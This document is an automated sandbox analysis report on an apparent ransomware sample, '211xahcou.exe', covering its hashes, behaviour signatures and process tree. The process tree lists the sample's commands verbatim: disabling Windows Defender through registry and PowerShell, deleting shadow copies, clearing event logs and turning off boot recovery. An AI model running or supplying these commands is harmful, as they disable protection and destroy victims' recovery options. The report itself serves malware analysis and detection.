Analysis

  • max time kernel
    15s
  • max time network
    24s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    12-02-2024 07:56

General

  • Target

    211xahcou.exe

  • Size

    3.9MB

  • MD5

    0e4d44dde522c07d09d9e3086cfae803

  • SHA1

    d8dc26e2094869a0da78ecb47494c931419302dc

  • SHA256

    33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

  • SHA512

    ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06

  • SSDEEP

    49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (73) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
    "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2208
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4416
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1588
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4824
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:3936
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3972
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:3216
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2688
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:2712
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1328
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:3676
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1516
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:592
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1288
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2584
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_17cc4" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1860
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_17cc4" /y
                        3⤵
                          PID:1112
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4972
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SDRSVC" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:68
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SstpSvc" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3768
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "UI0Detect" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:2196
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "vmicvss" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3044
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "VSS" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:1636
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "wbengine" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:3264
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "WebClient" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:2248
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "UnistoreSvc_17cc4" start= disabled
                        2⤵
                        • Launches sc.exe
                        PID:4992
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                        2⤵
                          PID:4868
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                          2⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:204
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:4124
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1768
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:2884
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2544
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4204
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4948
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2124
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4956
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:196
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:4600
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:652
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1476
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:4064
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:3060
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:2872
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:4860
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:5088
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1012
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:3920
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:4300
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:920
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:3936
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:3792
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:5092
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                            • Modifies registry class
                                                            PID:824
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                            2⤵
                                                              PID:4796
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                                PID:988
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                  PID:1972
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1400
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                    • Modifies security service
                                                                    PID:2564
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:4832
                                                                    • C:\Windows\SYSTEM32\vssadmin.exe
                                                                      vssadmin.exe delete shadows /all /quiet
                                                                      2⤵
                                                                      • Interacts with shadow copies
                                                                      PID:684
                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                      wevtutil.exe cl system
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2548
                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                      wevtutil.exe cl security
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:512
                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                      wevtutil.exe cl application
                                                                      2⤵
                                                                      • Clears Windows event logs
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2888
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                      2⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4280
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      wmic.exe shadowcopy delete
                                                                      2⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3028
                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                      2⤵
                                                                      • Modifies boot configuration data using bcdedit
                                                                      PID:2552
                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                      bcdedit.exe /set {default} recoveryenabled no
                                                                      2⤵
                                                                      • Modifies boot configuration data using bcdedit
                                                                      PID:4136
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                      2⤵
                                                                        PID:4252
                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                          3⤵
                                                                          • Deletes Windows Defender Definitions
                                                                          PID:4864
                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                        2⤵
                                                                          PID:4284
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                            3⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:1444
                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                          2⤵
                                                                            PID:1308
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                              3⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:1312

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v15

                                                                        Replay Monitor

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                                                                        Downloads

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                          Filesize

                                                                          3KB

                                                                          MD5

                                                                          8592ba100a78835a6b94d5949e13dfc1

                                                                          SHA1

                                                                          63e901200ab9a57c7dd4c078d7f75dcd3b357020

                                                                          SHA256

                                                                          fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

                                                                          SHA512

                                                                          87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                          Filesize

                                                                          1KB

                                                                          MD5

                                                                          46075f320ae0ad27044388814e962a51

                                                                          SHA1

                                                                          f5f7599a41af386a31d337f85dadc93af84547d2

                                                                          SHA256

                                                                          8dd3aa017de01eaffc39c159f2a2a49b4bbef2676ce4de041f21416e4ce4d464

                                                                          SHA512

                                                                          f922afd77e386bc56192b0c6f6f66c08d7a1c2865565bc3a62df9df2adaf67438191fbffea323b006649b489afc8dc6968349292788bc741011ba45a0a4d230d

                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onm3jb0n.fn4.ps1
                                                                          Filesize

                                                                          1B

                                                                          MD5

                                                                          c4ca4238a0b923820dcc509a6f75849b

                                                                          SHA1

                                                                          356a192b7913b04c54574d18c28d46e6395428ab

                                                                          SHA256

                                                                          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                          SHA512

                                                                          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                        • memory/1312-98-0x00007FF958650000-0x00007FF95903C000-memory.dmp
                                                                          Filesize

                                                                          9.9MB

                                                                        • memory/1312-96-0x00000183B3660000-0x00000183B3670000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1312-75-0x00000183B3660000-0x00000183B3670000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1312-60-0x00000183B3660000-0x00000183B3670000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1312-58-0x00000183B3660000-0x00000183B3670000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1312-57-0x00007FF958650000-0x00007FF95903C000-memory.dmp
                                                                          Filesize

                                                                          9.9MB

                                                                        • memory/1444-20-0x000001ED28A20000-0x000001ED28A30000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1444-51-0x00007FF958650000-0x00007FF95903C000-memory.dmp
                                                                          Filesize

                                                                          9.9MB

                                                                        • memory/1444-47-0x000001ED28A20000-0x000001ED28A30000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1444-26-0x000001ED28A20000-0x000001ED28A30000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1444-23-0x000001ED28A20000-0x000001ED28A30000-memory.dmp
                                                                          Filesize

                                                                          64KB

                                                                        • memory/1444-7-0x000001ED28A30000-0x000001ED28A52000-memory.dmp
                                                                          Filesize

                                                                          136KB

                                                                        • memory/1444-19-0x00007FF958650000-0x00007FF95903C000-memory.dmp
                                                                          Filesize

                                                                          9.9MB

                                                                        • memory/1444-10-0x000001ED411B0000-0x000001ED41226000-memory.dmp
                                                                          Filesize

                                                                          472KB